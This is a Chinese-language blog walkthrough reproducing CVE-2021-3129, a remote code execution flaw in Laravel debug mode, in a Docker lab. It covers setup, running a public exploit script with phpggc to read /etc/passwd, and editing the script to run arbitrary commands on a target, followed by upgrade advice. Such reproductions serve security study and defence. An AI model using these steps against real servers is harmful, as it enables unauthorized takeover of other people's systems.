您的位置 首页 php

CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞复现

0x00 简介

Laravel 是一套简洁、优雅的PHP Web开发框架(PHP Web Framework),旨在实现的Web软件的 MVC 架构,它可以让开发者从面条一样杂乱的代码中解脱出来,帮助构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。

在Laravel中已经具有了一套高级的PHP ActiveRecord实现 — Eloquent ORM。它能方便地将“约束(constraints)”应用到关系的双方,这样开发者就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

0x01 漏洞概述

Laravel <= 8.4.2 存在远程代码执行漏洞,当Laravel开启了Debug模式时,由于Laravel自带的2.5.2之前的Ignition功能的某些接口和函数存在过滤不严,未经过身份验证的远程攻击者可以发起恶意请求,通过构造恶意Log文件等方式触发phar反序列化,从而造成远程代码执行,控制服务器。

0x02 影响版本

 Laravel <= 8.4.2
Ignition <2.5.2  

0x03 环境搭建

1.使用 github 已经搭建好的环境进行复现。

 git clone git://github.com/SNCKER/CVE-2021-3129  

2.切换到刚刚下载的目录,执行以下命令即可自动完成环境搭建和启动。

 docker-compose up -d  

3.浏览器访问 ,出现如下界面。

点击Generate app key,发送请求,在配置文件中配置了一个加密key。

再刷新一下界面,出现以下内容即搭建成功。

0x04 漏洞复现

1.github上的环境附带exp,使用 Vim 打开查看,其默认目标为本地,执行”cat /etc/passwd”命令

2.在执行exp之前,需要下载phpggc工具,phpggc要和exploit.py在放同一文件夹内

 git clone git://github.com/ambionics/phpggc.git  

3.执行如下代码,即可默认查看 /etc/passwd 文件

 python3 exploit.py  

4.简单修改一下 exploit.py 脚本即可执行任意命令

Vim打开脚本,首先在exploit.py开头import sys库

主函数改为如下内容(注意缩进)

 args = sys.argv
url = args[1]
command = args[2]
Exp(url, command)  

运行如下指令,第1个参数即为目标ip,第2个参数即为想要执行的命令

 python3 exploit.py  'ifconfig'  

0x05 防护建议

1.使用 白名单 限制相关web项目的访问来降低风险

2.将 Laravel 框架升级至8.4.3及其以上版本,或者将 facade ignition组件升级至 2.5.2 及其以上版本

文章来源:智云一二三科技

文章标题:CVE-2021-3129 Laravel Debug mode 远程代码执行漏洞复现

文章地址:https://www.zhihuclub.com/77548.shtml

关于作者: 智云科技

热门文章

网站地图